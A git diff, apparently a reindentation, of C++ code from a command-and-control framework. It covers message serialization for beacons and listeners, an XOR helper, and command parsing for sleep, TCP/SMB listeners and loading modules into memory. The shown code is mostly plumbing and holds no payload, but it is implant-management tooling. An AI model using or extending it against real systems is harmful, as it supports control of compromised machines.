std::string returnValueB64 = base64_encode(m_returnValue); - nlohmann::json finalJson; - if(!m_instruction.empty()) - finalJson += nlohmann::json::object_t::value_type(InstructionMsgTag, m_instruction); - if(!m_cmd.empty()) - finalJson += nlohmann::json::object_t::value_type(CmdMsgTag, m_cmd); - if(!returnValueB64.empty()) - finalJson += nlohmann::json::object_t::value_type(ReturnValueTag, returnValueB64); - if(!inputFileB64.empty()) - finalJson += nlohmann::json::object_t::value_type(InputFileTag, inputFileB64); - if(!outputFileB64.empty()) - finalJson += nlohmann::json::object_t::value_type(OutputFileTag, outputFileB64); - if(!dataB64.empty()) - finalJson += nlohmann::json::object_t::value_type(DataTag, dataB64); - if(!m_args.empty()) - finalJson += nlohmann::json::object_t::value_type(ArgsTag, m_args); - if(m_pid!=-100) - finalJson += nlohmann::json::object_t::value_type(PidTag, m_pid); - if(m_errorCode!=-1) - finalJson += nlohmann::json::object_t::value_type(ErrorCodeTag, m_errorCode); - if(!m_uuid.empty()) - finalJson += nlohmann::json::object_t::value_type(UuidMsgTag, m_uuid); + nlohmann::json finalJson; + if(!m_instruction.empty()) + finalJson += nlohmann::json::object_t::value_type(InstructionMsgTag, m_instruction); + if(!m_cmd.empty()) + finalJson += nlohmann::json::object_t::value_type(CmdMsgTag, m_cmd); + if(!returnValueB64.empty()) + finalJson += nlohmann::json::object_t::value_type(ReturnValueTag, returnValueB64); + if(!inputFileB64.empty()) + finalJson += nlohmann::json::object_t::value_type(InputFileTag, inputFileB64); + if(!outputFileB64.empty()) + finalJson += nlohmann::json::object_t::value_type(OutputFileTag, outputFileB64); + if(!dataB64.empty()) + finalJson += nlohmann::json::object_t::value_type(DataTag, dataB64); + if(!m_args.empty()) + finalJson += nlohmann::json::object_t::value_type(ArgsTag, m_args); + if(m_pid!=-100) + finalJson += nlohmann::json::object_t::value_type(PidTag, m_pid); + if(m_errorCode!=-1) + finalJson += nlohmann::json::object_t::value_type(ErrorCodeTag, m_errorCode); + if(!m_uuid.empty()) + finalJson += nlohmann::json::object_t::value_type(UuidMsgTag, m_uuid); - std::string json_str = finalJson.dump(); - *output = json_str; - } + std::string json_str = finalJson.dump(); + *output = json_str; + } - const std::string& instruction() const - { - return m_instruction; - } - const std::string& cmd() const - { - return m_cmd; - } - const std::string& returnvalue() const - { - return m_returnValue; - } - const std::string& inputfile() const - { - return m_inputFile; - } - const std::string& outputfile() const - { - return m_outputFile; - } - const std::string& data() const - { - return m_data; - } - int pid() const - { - return m_pid; - } - int errorCode() const - { - return m_errorCode; - } - const std::string& args() const - { - return m_args; - } - const std::string& uuid() const - { - return m_uuid; - } + const std::string& instruction() const + { + return m_instruction; + } + const std::string& cmd() const + { + return m_cmd; + } + const std::string& returnvalue() const + { + return m_returnValue; + } + const std::string& inputfile() const + { + return m_inputFile; + } + const std::string& outputfile() const + { + return m_outputFile; + } + const std::string& data() const + { + return m_data; + } + int pid() const + { + return m_pid; + } + int errorCode() const + { + return m_errorCode; + } + const std::string& args() const + { + return m_args; + } + const std::string& uuid() const + { + return m_uuid; + } - void set_instruction(const std::string& instruction) - { - m_instruction = instruction; - }; - void set_cmd(const std::string& cmd) - { - m_cmd = cmd; - }; - void set_returnvalue(const std::string& returnValue) - { - m_returnValue = returnValue; - }; - void set_inputfile(const std::string& inputFile) - { - m_inputFile = inputFile; - }; - void set_outputfile(const std::string& outputFile) - { - m_outputFile = outputFile; - }; - void set_data(const char* data, int size) - { - m_data.assign(data, size); - }; - void set_data(const std::string& data) - { - m_data.assign(data); - }; - void set_data(std::string&& data) - { - m_data = std::move(data); - } - void set_pid(int pid) - { - m_pid = pid; - }; - void set_errorCode(int errorCode) - { - m_errorCode = errorCode; - }; - void set_args(const std::string& args) - { - m_args = args; - }; - void set_uuid(const std::string& uuid) - { - m_uuid = uuid; - }; + void set_instruction(const std::string& instruction) + { + m_instruction = instruction; + }; + void set_cmd(const std::string& cmd) + { + m_cmd = cmd; + }; + void set_returnvalue(const std::string& returnValue) + { + m_returnValue = returnValue; + }; + void set_inputfile(const std::string& inputFile) + { + m_inputFile = inputFile; + }; + void set_outputfile(const std::string& outputFile) + { + m_outputFile = outputFile; + }; + void set_data(const char* data, int size) + { + m_data.assign(data, size); + }; + void set_data(const std::string& data) + { + m_data.assign(data); + }; + void set_data(std::string&& data) + { + m_data = std::move(data); + } + void set_pid(int pid) + { + m_pid = pid; + }; + void set_errorCode(int errorCode) + { + m_errorCode = errorCode; + }; + void set_args(const std::string& args) + { + m_args = args; + }; + void set_uuid(const std::string& uuid) + { + m_uuid = uuid; + }; private: - std::string m_instruction; - std::string m_cmd; - std::string m_returnValue; - std::string m_inputFile; - std::string m_outputFile; - std::string m_data; - std::string m_args; - int m_pid; - int m_errorCode; - std::string m_uuid; + std::string m_instruction; + std::string m_cmd; + std::string m_returnValue; + std::string m_inputFile; + std::string m_outputFile; + std::string m_data; + std::string m_args; + int m_pid; + int m_errorCode; + std::string m_uuid; }; @@ -292,275 +292,275 @@ private: class BundleC2Message { public: - BundleC2Message() - { - } + BundleC2Message() + { + } - ~BundleC2Message() - { - m_c2Messages.clear(); - } + ~BundleC2Message() + { + m_c2Messages.clear(); + } - void ParseFromArray(const char* data, int size) - { - std::string input(data, size); - nlohmann::json bundleC2MessageJson; - try - { - bundleC2MessageJson = nlohmann::json::parse(input); - } - catch (...) - { - return; - } + void ParseFromArray(const char* data, int size) + { + std::string input(data, size); + nlohmann::json bundleC2MessageJson; + try + { + bundleC2MessageJson = nlohmann::json::parse(input); + } + catch (...) + { + return; + } - auto it = bundleC2MessageJson.find(BeaconHashMsgTag); - if(it != bundleC2MessageJson.end()) - m_beaconHash = bundleC2MessageJson[BeaconHashMsgTag].get(); + auto it = bundleC2MessageJson.find(BeaconHashMsgTag); + if(it != bundleC2MessageJson.end()) + m_beaconHash = bundleC2MessageJson[BeaconHashMsgTag].get(); - it = bundleC2MessageJson.find(ListenerHashMsgTag); - if(it != bundleC2MessageJson.end()) - m_listenerHash = bundleC2MessageJson[ListenerHashMsgTag].get(); + it = bundleC2MessageJson.find(ListenerHashMsgTag); + if(it != bundleC2MessageJson.end()) + m_listenerHash = bundleC2MessageJson[ListenerHashMsgTag].get(); - it = bundleC2MessageJson.find(UsernameMsgTag); - if(it != bundleC2MessageJson.end()) - m_username = bundleC2MessageJson[UsernameMsgTag].get(); + it = bundleC2MessageJson.find(UsernameMsgTag); + if(it != bundleC2MessageJson.end()) + m_username = bundleC2MessageJson[UsernameMsgTag].get(); - it = bundleC2MessageJson.find(HostnameMsgTag); - if(it != bundleC2MessageJson.end()) - m_hostname = bundleC2MessageJson[HostnameMsgTag].get(); + it = bundleC2MessageJson.find(HostnameMsgTag); + if(it != bundleC2MessageJson.end()) + m_hostname = bundleC2MessageJson[HostnameMsgTag].get(); - it = bundleC2MessageJson.find(ArchMsgTag); - if(it != bundleC2MessageJson.end()) - m_arch = bundleC2MessageJson[ArchMsgTag].get(); + it = bundleC2MessageJson.find(ArchMsgTag); + if(it != bundleC2MessageJson.end()) + m_arch = bundleC2MessageJson[ArchMsgTag].get(); - it = bundleC2MessageJson.find(PrivilegeMsgTag); - if(it != bundleC2MessageJson.end()) - m_privilege = bundleC2MessageJson[PrivilegeMsgTag].get(); + it = bundleC2MessageJson.find(PrivilegeMsgTag); + if(it != bundleC2MessageJson.end()) + m_privilege = bundleC2MessageJson[PrivilegeMsgTag].get(); - it = bundleC2MessageJson.find(OsMsgTag); - if(it != bundleC2MessageJson.end()) - m_os = bundleC2MessageJson[OsMsgTag].get(); + it = bundleC2MessageJson.find(OsMsgTag); + if(it != bundleC2MessageJson.end()) + m_os = bundleC2MessageJson[OsMsgTag].get(); - it = bundleC2MessageJson.find(LastProofOfLifeMsgTag); - if(it != bundleC2MessageJson.end()) - m_lastProofOfLife = bundleC2MessageJson[LastProofOfLifeMsgTag].get(); + it = bundleC2MessageJson.find(LastProofOfLifeMsgTag); + if(it != bundleC2MessageJson.end()) + m_lastProofOfLife = bundleC2MessageJson[LastProofOfLifeMsgTag].get(); - it = bundleC2MessageJson.find(InternalIpsMsgTag); - if(it != bundleC2MessageJson.end()) - m_internalIps = bundleC2MessageJson[InternalIpsMsgTag].get(); + it = bundleC2MessageJson.find(InternalIpsMsgTag); + if(it != bundleC2MessageJson.end()) + m_internalIps = bundleC2MessageJson[InternalIpsMsgTag].get(); - it = bundleC2MessageJson.find(ProcessIdMsgTag); - if(it != bundleC2MessageJson.end()) - m_processId = bundleC2MessageJson[ProcessIdMsgTag].get(); + it = bundleC2MessageJson.find(ProcessIdMsgTag); + if(it != bundleC2MessageJson.end()) + m_processId = bundleC2MessageJson[ProcessIdMsgTag].get(); - it = bundleC2MessageJson.find(AdditionalInfoMsgTag); - if(it != bundleC2MessageJson.end()) - m_additionalInformation = bundleC2MessageJson[AdditionalInfoMsgTag].get(); + it = bundleC2MessageJson.find(AdditionalInfoMsgTag); + if(it != bundleC2MessageJson.end()) + m_additionalInformation = bundleC2MessageJson[AdditionalInfoMsgTag].get(); - auto sessions = bundleC2MessageJson[SessionsMsgTag]; - - for (nlohmann::json::iterator it = sessions.begin(); it != sessions.end(); ++it) - { - std::unique_ptr c2Message = std::make_unique(); - m_c2Messages.push_back(std::move(c2Message)); + auto sessions = bundleC2MessageJson[SessionsMsgTag]; + + for (nlohmann::json::iterator it = sessions.begin(); it != sessions.end(); ++it) + { + std::unique_ptr c2Message = std::make_unique(); + m_c2Messages.push_back(std::move(c2Message)); - std::string json_str = (*it).dump(); - m_c2Messages.back()->ParseFromArray(json_str.data(), json_str.size()); - } - - } + std::string json_str = (*it).dump(); + m_c2Messages.back()->ParseFromArray(json_str.data(), json_str.size()); + } + + } - void SerializeToString(std::string* output) - { - nlohmann::json sessions; - for (int i = 0; i < m_c2Messages.size(); i++) - { - std::string json_str; - m_c2Messages[i]->SerializeToString(&json_str); + void SerializeToString(std::string* output) + { + nlohmann::json sessions; + for (int i = 0; i < m_c2Messages.size(); i++) + { + std::string json_str; + m_c2Messages[i]->SerializeToString(&json_str); - nlohmann::json tmp; - try - { - tmp = nlohmann::json::parse(json_str); - } - catch (...) - { - continue; - } + nlohmann::json tmp; + try + { + tmp = nlohmann::json::parse(json_str); + } + catch (...) + { + continue; + } - sessions.push_back(tmp); - } + sessions.push_back(tmp); + } - nlohmann::json bundleC2MessageJson ; - if(!m_beaconHash.empty()) - bundleC2MessageJson += nlohmann::json::object_t::value_type(BeaconHashMsgTag, m_beaconHash); - if(!m_listenerHash.empty()) - bundleC2MessageJson += nlohmann::json::object_t::value_type(ListenerHashMsgTag, m_listenerHash); - if(!m_username.empty()) - bundleC2MessageJson += nlohmann::json::object_t::value_type(UsernameMsgTag, m_username); - if(!m_hostname.empty()) - bundleC2MessageJson += nlohmann::json::object_t::value_type(HostnameMsgTag, m_hostname); - if(!m_arch.empty()) - bundleC2MessageJson += nlohmann::json::object_t::value_type(ArchMsgTag, m_arch); - if(!m_privilege.empty()) - bundleC2MessageJson += nlohmann::json::object_t::value_type(PrivilegeMsgTag, m_privilege); - if(!m_os.empty()) - bundleC2MessageJson += nlohmann::json::object_t::value_type(OsMsgTag, m_os); - if(!m_lastProofOfLife.empty()) - bundleC2MessageJson += nlohmann::json::object_t::value_type(LastProofOfLifeMsgTag, m_lastProofOfLife); - if (!m_internalIps.empty()) - bundleC2MessageJson += nlohmann::json::object_t::value_type(InternalIpsMsgTag, m_internalIps); - if (!m_processId.empty()) - bundleC2MessageJson += nlohmann::json::object_t::value_type(ProcessIdMsgTag, m_processId); - if (!m_additionalInformation.empty()) - bundleC2MessageJson += nlohmann::json::object_t::value_type(AdditionalInfoMsgTag, m_additionalInformation); - if(!sessions.empty()) - bundleC2MessageJson += nlohmann::json::object_t::value_type(SessionsMsgTag, sessions); + nlohmann::json bundleC2MessageJson ; + if(!m_beaconHash.empty()) + bundleC2MessageJson += nlohmann::json::object_t::value_type(BeaconHashMsgTag, m_beaconHash); + if(!m_listenerHash.empty()) + bundleC2MessageJson += nlohmann::json::object_t::value_type(ListenerHashMsgTag, m_listenerHash); + if(!m_username.empty()) + bundleC2MessageJson += nlohmann::json::object_t::value_type(UsernameMsgTag, m_username); + if(!m_hostname.empty()) + bundleC2MessageJson += nlohmann::json::object_t::value_type(HostnameMsgTag, m_hostname); + if(!m_arch.empty()) + bundleC2MessageJson += nlohmann::json::object_t::value_type(ArchMsgTag, m_arch); + if(!m_privilege.empty()) + bundleC2MessageJson += nlohmann::json::object_t::value_type(PrivilegeMsgTag, m_privilege); + if(!m_os.empty()) + bundleC2MessageJson += nlohmann::json::object_t::value_type(OsMsgTag, m_os); + if(!m_lastProofOfLife.empty()) + bundleC2MessageJson += nlohmann::json::object_t::value_type(LastProofOfLifeMsgTag, m_lastProofOfLife); + if (!m_internalIps.empty()) + bundleC2MessageJson += nlohmann::json::object_t::value_type(InternalIpsMsgTag, m_internalIps); + if (!m_processId.empty()) + bundleC2MessageJson += nlohmann::json::object_t::value_type(ProcessIdMsgTag, m_processId); + if (!m_additionalInformation.empty()) + bundleC2MessageJson += nlohmann::json::object_t::value_type(AdditionalInfoMsgTag, m_additionalInformation); + if(!sessions.empty()) + bundleC2MessageJson += nlohmann::json::object_t::value_type(SessionsMsgTag, sessions); - *output = bundleC2MessageJson.dump(); - } + *output = bundleC2MessageJson.dump(); + } - int c2messages_size() - { - return m_c2Messages.size(); - } - - C2Message c2messages(int id) - { - if(id c2Message = std::make_unique(); - m_c2Messages.push_back(std::move(c2Message)); - return m_c2Messages.back().get(); - } + C2Message* add_c2messages() + { + std::unique_ptr c2Message = std::make_unique(); + m_c2Messages.push_back(std::move(c2Message)); + return m_c2Messages.back().get(); + } - C2Message* add_c2messages(C2Message& c2Message) - { - m_c2Messages.emplace_back(std::make_unique(std::move(c2Message))); - return m_c2Messages.back().get(); - } + C2Message* add_c2messages(C2Message& c2Message) + { + m_c2Messages.emplace_back(std::make_unique(std::move(c2Message))); + return m_c2Messages.back().get(); + } - const std::string& beaconhash() const - { - return m_beaconHash; - } - const std::string& listenerhash() const - { - return m_listenerHash; - } - const std::string& username() const - { - return m_username; - } - const std::string& hostname() const - { - return m_hostname; - } - const std::string& arch() const - { - return m_arch; - } - const std::string& privilege() const - { - return m_privilege; - } - const std::string& os() const - { - return m_os; - } - const std::string& lastProofOfLife() const - { - return m_lastProofOfLife; - } - const std::string& internalIps() const - { - return m_internalIps; - } - const std::string& processId() const - { - return m_processId; - } - const std::string& additionalInformation() const - { - return m_additionalInformation; - } + const std::string& beaconhash() const + { + return m_beaconHash; + } + const std::string& listenerhash() const + { + return m_listenerHash; + } + const std::string& username() const + { + return m_username; + } + const std::string& hostname() const + { + return m_hostname; + } + const std::string& arch() const + { + return m_arch; + } + const std::string& privilege() const + { + return m_privilege; + } + const std::string& os() const + { + return m_os; + } + const std::string& lastProofOfLife() const + { + return m_lastProofOfLife; + } + const std::string& internalIps() const + { + return m_internalIps; + } + const std::string& processId() const + { + return m_processId; + } + const std::string& additionalInformation() const + { + return m_additionalInformation; + } - void set_beaconhash(const std::string& beaconHash) - { - m_beaconHash = beaconHash; - } - void set_listenerhash(const std::string& listenerHash) - { - m_listenerHash = listenerHash; - } - void set_username(const std::string& username) - { - m_username = username; - } - void set_hostname(const std::string& hostname) - { - m_hostname = hostname; - } - void set_arch(const std::string& arch) - { - m_arch = arch; - } - void set_privilege(const std::string& privilege) - { - m_privilege = privilege; - } - void set_os(const std::string& os) - { - m_os = os; - } - void set_lastProofOfLife(const std::string& lastProofOfLife) - { - m_lastProofOfLife = lastProofOfLife; - } - void set_internalIps(const std::string& internalIps) - { - m_internalIps = internalIps; - } - void set_processId(const std::string& pid) - { - m_processId = pid; - } - void set_additionalInformation(const std::string& info) - { - m_additionalInformation = info; - } + void set_beaconhash(const std::string& beaconHash) + { + m_beaconHash = beaconHash; + } + void set_listenerhash(const std::string& listenerHash) + { + m_listenerHash = listenerHash; + } + void set_username(const std::string& username) + { + m_username = username; + } + void set_hostname(const std::string& hostname) + { + m_hostname = hostname; + } + void set_arch(const std::string& arch) + { + m_arch = arch; + } + void set_privilege(const std::string& privilege) + { + m_privilege = privilege; + } + void set_os(const std::string& os) + { + m_os = os; + } + void set_lastProofOfLife(const std::string& lastProofOfLife) + { + m_lastProofOfLife = lastProofOfLife; + } + void set_internalIps(const std::string& internalIps) + { + m_internalIps = internalIps; + } + void set_processId(const std::string& pid) + { + m_processId = pid; + } + void set_additionalInformation(const std::string& info) + { + m_additionalInformation = info; + } - + private: - std::vector> m_c2Messages; + std::vector> m_c2Messages; - std::string m_beaconHash; - std::string m_listenerHash; - std::string m_username; - std::string m_hostname; - std::string m_arch; - std::string m_privilege; - std::string m_os; - std::string m_lastProofOfLife; - std::string m_internalIps; - std::string m_processId; - std::string m_additionalInformation; + std::string m_beaconHash; + std::string m_listenerHash; + std::string m_username; + std::string m_hostname; + std::string m_arch; + std::string m_privilege; + std::string m_os; + std::string m_lastProofOfLife; + std::string m_internalIps; + std::string m_processId; + std::string m_additionalInformation; }; @@ -570,83 +570,83 @@ private: class MultiBundleC2Message { public: - MultiBundleC2Message() - { - } - ~MultiBundleC2Message() - { - m_bundleC2Messages.clear(); - } + MultiBundleC2Message() + { + } + ~MultiBundleC2Message() + { + m_bundleC2Messages.clear(); + } - void ParseFromArray(const char* data, int size) - { - std::string input(data, size); - nlohmann::json my_json; - try - { - my_json = nlohmann::json::parse(input); - } - catch (...) - { - return; - } + void ParseFromArray(const char* data, int size) + { + std::string input(data, size); + nlohmann::json my_json; + try + { + my_json = nlohmann::json::parse(input); + } + catch (...) + { + return; + } - for (nlohmann::json::iterator it = my_json.begin(); it != my_json.end(); ++it) - { - std::unique_ptr bundleC2Message = std::make_unique(); - m_bundleC2Messages.push_back(std::move(bundleC2Message)); + for (nlohmann::json::iterator it = my_json.begin(); it != my_json.end(); ++it) + { + std::unique_ptr bundleC2Message = std::make_unique(); + m_bundleC2Messages.push_back(std::move(bundleC2Message)); - std::string json_str = (*it).dump(); - m_bundleC2Messages.back()->ParseFromArray(json_str.data(), json_str.size()); - } - } + std::string json_str = (*it).dump(); + m_bundleC2Messages.back()->ParseFromArray(json_str.data(), json_str.size()); + } + } - void SerializeToString(std::string* output) - { - nlohmann::json agregator; - for (int i = 0; i < m_bundleC2Messages.size(); i++) - { - std::string json_str; - m_bundleC2Messages[i]->SerializeToString(&json_str); + void SerializeToString(std::string* output) + { + nlohmann::json agregator; + for (int i = 0; i < m_bundleC2Messages.size(); i++) + { + std::string json_str; + m_bundleC2Messages[i]->SerializeToString(&json_str); - nlohmann::json tmp ; - try - { - tmp = nlohmann::json::parse(json_str); - } - catch (...) - { - continue; - } + nlohmann::json tmp ; + try + { + tmp = nlohmann::json::parse(json_str); + } + catch (...) + { + continue; + } - agregator.push_back(tmp); - } - *output = agregator.dump(); - } + agregator.push_back(tmp); + } + *output = agregator.dump(); + } - int bundlec2messages_size() - { - return m_bundleC2Messages.size(); - } + int bundlec2messages_size() + { + return m_bundleC2Messages.size(); + } - BundleC2Message* bundlec2messages(int id) - { - if(id bundleC2Message = std::make_unique(); - m_bundleC2Messages.push_back(std::move(bundleC2Message)); - return m_bundleC2Messages.back().get(); - } + BundleC2Message* add_bundlec2messages() + { + std::unique_ptr bundleC2Message = std::make_unique(); + m_bundleC2Messages.push_back(std::move(bundleC2Message)); + return m_bundleC2Messages.back().get(); + } private: - std::vector> m_bundleC2Messages; + std::vector> m_bundleC2Messages; }; diff --git a/modules/ModuleCmd/Common.hpp b/modules/ModuleCmd/Common.hpp index 2e884f8..e42e63a 100644 --- a/modules/ModuleCmd/Common.hpp +++ b/modules/ModuleCmd/Common.hpp @@ -162,15 +162,15 @@ inline constexpr std::array compileTimeXOR(const std::string_view data, void static inline XOR(std::string& data, const std::string& key) { - int j = 0; - for (int i = 0; i < data.size(); i++) - { - if (j == key.size()) - j = 0; + int j = 0; + for (int i = 0; i < data.size(); i++) + { + if (j == key.size()) + j = 0; - data[i] = data[i] ^ key[j]; - j++; - } + data[i] = data[i] ^ key[j]; + j++; + } } @@ -194,24 +194,24 @@ std::string static inline random_string(std::size_t length) bool static inline isNumber(const std::string& str) { - for (char const& c : str) { - if (std::isdigit(c) == 0) return false; - } - return true; + for (char const& c : str) { + if (std::isdigit(c) == 0) return false; + } + return true; } void static inline splitList(std::string list, const std::string& delimiter, std::vector& splitedList) { - size_t pos = 0; - std::string token; - while ((pos = list.find(delimiter)) != std::string::npos) - { - token = list.substr(0, pos); - splitedList.push_back(token); - list.erase(0, pos + delimiter.length()); - } - splitedList.push_back(list); + size_t pos = 0; + std::string token; + while ((pos = list.find(delimiter)) != std::string::npos) + { + token = list.substr(0, pos); + splitedList.push_back(token); + list.erase(0, pos + delimiter.length()); + } + splitedList.push_back(list); } diff --git a/modules/ModuleCmd/CommonCommand.hpp b/modules/ModuleCmd/CommonCommand.hpp index b365714..061b14e 100644 --- a/modules/ModuleCmd/CommonCommand.hpp +++ b/modules/ModuleCmd/CommonCommand.hpp @@ -60,333 +60,333 @@ const std::string StopInstruction = "stop"; class CommonCommands { - public: - CommonCommands() - { - m_commonCommands.push_back(EndInstruction); - m_commonCommands.push_back(ListenerInstruction); - m_commonCommands.push_back(LoadModuleInstruction); - m_commonCommands.push_back(UnloadModuleInstruction); - m_commonCommands.push_back(SleepInstruction); - } + public: + CommonCommands() + { + m_commonCommands.push_back(EndInstruction); + m_commonCommands.push_back(ListenerInstruction); + m_commonCommands.push_back(LoadModuleInstruction); + m_commonCommands.push_back(UnloadModuleInstruction); + m_commonCommands.push_back(SleepInstruction); + } - int getNumberOfCommand() - { - return m_commonCommands.size(); - } + int getNumberOfCommand() + { + return m_commonCommands.size(); + } - std::string getCommand(int idx) - { - if(idx &splitedCmd, C2Message &c2Message, bool isWindows=true) - { - std::string instruction = splitedCmd[0]; + // if an error ocurre: + // set_returnvalue(errorMsg) && return -1 + int init(std::vector &splitedCmd, C2Message &c2Message, bool isWindows=true) + { + std::string instruction = splitedCmd[0]; - // - // Sleep - // - if(instruction==SleepInstruction) - { - if(splitedCmd.size()==2) - { - float sleepTimeSec=5; - try - { - sleepTimeSec = atof(splitedCmd[1].c_str()); - } - catch (const std::invalid_argument& ia) - { - std::cerr << "Invalid argument: " << ia.what() << '\n'; - return -1; - } - c2Message.set_instruction(SleepCmd); - c2Message.set_cmd(std::to_string(sleepTimeSec)); - } - else - { - std::string errorMsg = getHelp(SleepCmd); - c2Message.set_returnvalue(errorMsg); - return -1; - } - } - // - // End - // - else if(instruction==EndInstruction) - { - c2Message.set_instruction(EndCmd); - c2Message.set_cmd(""); - } - // - // Listener - // - else if(instruction==ListenerInstruction) - { - if(splitedCmd.size()>=3) - { - if(splitedCmd[1]==StartInstruction && splitedCmd[2]==ListenerTcpType) - { - if(splitedCmd.size()>=5) - { - std::string host = splitedCmd[3]; - int port=-1; - try - { - port = std::atoi(splitedCmd[4].c_str()); - } - catch (const std::invalid_argument& ia) - { - std::cerr << "Invalid argument: " << ia.what() << '\n'; - return -1; - } + // + // Sleep + // + if(instruction==SleepInstruction) + { + if(splitedCmd.size()==2) + { + float sleepTimeSec=5; + try + { + sleepTimeSec = atof(splitedCmd[1].c_str()); + } + catch (const std::invalid_argument& ia) + { + std::cerr << "Invalid argument: " << ia.what() << '\n'; + return -1; + } + c2Message.set_instruction(SleepCmd); + c2Message.set_cmd(std::to_string(sleepTimeSec)); + } + else + { + std::string errorMsg = getHelp(SleepCmd); + c2Message.set_returnvalue(errorMsg); + return -1; + } + } + // + // End + // + else if(instruction==EndInstruction) + { + c2Message.set_instruction(EndCmd); + c2Message.set_cmd(""); + } + // + // Listener + // + else if(instruction==ListenerInstruction) + { + if(splitedCmd.size()>=3) + { + if(splitedCmd[1]==StartInstruction && splitedCmd[2]==ListenerTcpType) + { + if(splitedCmd.size()>=5) + { + std::string host = splitedCmd[3]; + int port=-1; + try + { + port = std::atoi(splitedCmd[4].c_str()); + } + catch (const std::invalid_argument& ia) + { + std::cerr << "Invalid argument: " << ia.what() << '\n'; + return -1; + } - std::string cmd = StartCmd; - cmd+=" "; - cmd+=ListenerTcpType; - cmd+=" "; - cmd+=host; - cmd+=" "; - cmd+=std::to_string(port); - c2Message.set_instruction(ListenerCmd); - c2Message.set_cmd(cmd); - } - else - { - std::string errorMsg = "listener tcp start: not enough arguments"; - c2Message.set_returnvalue(errorMsg); - return -1; - } - } - else if(splitedCmd[1]==StartInstruction && splitedCmd[2]==ListenerSmbType) - { - if(splitedCmd.size()==5) - { - std::string host = splitedCmd[3]; - std::string pipeName = splitedCmd[4]; - std::string cmd = StartCmd; - cmd+=" "; - cmd+=ListenerSmbType; - cmd+=" "; - cmd+=host; - cmd+=" "; - cmd+=pipeName; - c2Message.set_instruction(ListenerCmd); - c2Message.set_cmd(cmd); - } - else - { - std::string errorMsg = "listener smb start: not enough arguments"; - c2Message.set_returnvalue(errorMsg); - return -1; - } - } - else if(splitedCmd[1]==StopInstruction) - { - std::string hash = splitedCmd[2]; - std::string cmd = StopCmd; - cmd+=" "; - cmd+=hash; - c2Message.set_instruction(ListenerCmd); - c2Message.set_cmd(cmd); - } - } - else - { - std::string errorMsg = getHelp(ListenerCmd); - c2Message.set_returnvalue(errorMsg); - return -1; - } - } - // - // Load Memory Module - // - else if(instruction==LoadModuleInstruction) - { - if (splitedCmd.size() == 2) - { - std::string inputFile = splitedCmd[1]; + std::string cmd = StartCmd; + cmd+=" "; + cmd+=ListenerTcpType; + cmd+=" "; + cmd+=host; + cmd+=" "; + cmd+=std::to_string(port); + c2Message.set_instruction(ListenerCmd); + c2Message.set_cmd(cmd); + } + else + { + std::string errorMsg = "listener tcp start: not enough arguments"; + c2Message.set_returnvalue(errorMsg); + return -1; + } + } + else if(splitedCmd[1]==StartInstruction && splitedCmd[2]==ListenerSmbType) + { + if(splitedCmd.size()==5) + { + std::string host = splitedCmd[3]; + std::string pipeName = splitedCmd[4]; + std::string cmd = StartCmd; + cmd+=" "; + cmd+=ListenerSmbType; + cmd+=" "; + cmd+=host; + cmd+=" "; + cmd+=pipeName; + c2Message.set_instruction(ListenerCmd); + c2Message.set_cmd(cmd); + } + else + { + std::string errorMsg = "listener smb start: not enough arguments"; + c2Message.set_returnvalue(errorMsg); + return -1; + } + } + else if(splitedCmd[1]==StopInstruction) + { + std::string hash = splitedCmd[2]; + std::string cmd = StopCmd; + cmd+=" "; + cmd+=hash; + c2Message.set_instruction(ListenerCmd); + c2Message.set_cmd(cmd); + } + } + else + { + std::string errorMsg = getHelp(ListenerCmd); + c2Message.set_returnvalue(errorMsg); + return -1; + } + } + // + // Load Memory Module + // + else if(instruction==LoadModuleInstruction) + { + if (splitedCmd.size() == 2) + { + std::string inputFile = splitedCmd[1]; - // check if it's a Path - std::ifstream input; - input.open(inputFile, std::ios::binary); + // check if it's a Path + std::ifstream input; + input.open(inputFile, std::ios::binary); - // if not check if it's a filename present in the linux or windows directory - if(!input && !isWindows) - { - std::string newInputFile = m_linuxModulesDirectoryPath; - newInputFile+=inputFile; - input.open(newInputFile, std::ios::binary); - } - else if(!input && isWindows) - { - std::string newInputFile = m_windowsModulesDirectoryPath; - newInputFile+=inputFile; - input.open(newInputFile, std::ios::binary); - } + // if not check if it's a filename present in the linux or windows directory + if(!input && !isWindows) + { + std::string newInputFile = m_linuxModulesDirectoryPath; + newInputFile+=inputFile; + input.open(newInputFile, std::ios::binary); + } + else if(!input && isWindows) + { + std::string newInputFile = m_windowsModulesDirectoryPath; + newInputFile+=inputFile; + input.open(newInputFile, std::ios::binary); + } - if( input ) - { - std::string buffer(std::istreambuf_iterator(input), {}); + if( input ) + { + std::string buffer(std::istreambuf_iterator(input), {}); - c2Message.set_instruction(LoadC2ModuleCmd); - c2Message.set_inputfile(inputFile); - c2Message.set_data(buffer.data(), buffer.size()); - } - else - { - c2Message.set_returnvalue("Failed: Couldn't open file."); - return -1; - } - } - else - { - std::string errorMsg = getHelp(LoadC2ModuleCmd); - c2Message.set_returnvalue(errorMsg); - return -1; - } - } - else if(instruction==UnloadModuleInstruction) - { - if (splitedCmd.size() == 2) - { - std::string moduleName = splitedCmd[1]; + c2Message.set_instruction(LoadC2ModuleCmd); + c2Message.set_inputfile(inputFile); + c2Message.set_data(buffer.data(), buffer.size()); + } + else + { + c2Message.set_returnvalue("Failed: Couldn't open file."); + return -1; + } + } + else + { + std::string errorMsg = getHelp(LoadC2ModuleCmd); + c2Message.set_returnvalue(errorMsg); + return -1; + } + } + else if(instruction==UnloadModuleInstruction) + { + if (splitedCmd.size() == 2) + { + std::string moduleName = splitedCmd[1]; - c2Message.set_instruction(UnloadC2ModuleCmd); - c2Message.set_cmd(moduleName); - } - else - { - std::string errorMsg = getHelp(UnloadC2ModuleCmd); - c2Message.set_returnvalue(errorMsg); - return -1; - } - } - return 0; - } + c2Message.set_instruction(UnloadC2ModuleCmd); + c2Message.set_cmd(moduleName); + } + else + { + std::string errorMsg = getHelp(UnloadC2ModuleCmd); + c2Message.set_returnvalue(errorMsg); + return -1; + } + } + return 0; + } - int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) - { - int errorCode = c2RetMessage.errorCode(); - if(errorCode>0) - { - if(errorCode==ERROR_GENERIC) - errorMsg = "Error"; - else if(errorCode==ERROR_LISTENER_EXIST) - errorMsg = "Error: Listener already exist"; - else if(errorCode==ERROR_PORT_FORMAT) - errorMsg = "Error: Port format"; - else if(errorCode==ERROR_HASH_NOT_FOUND) - errorMsg = "Error: Hash not found"; - else if(errorCode==ERROR_LOAD_LIBRARY) - errorMsg = "Error: MemoryLoadLibrary"; - else if(errorCode==ERROR_GET_PROC_ADDRESS) - errorMsg = "Error: MemoryGetProcAddress"; - else 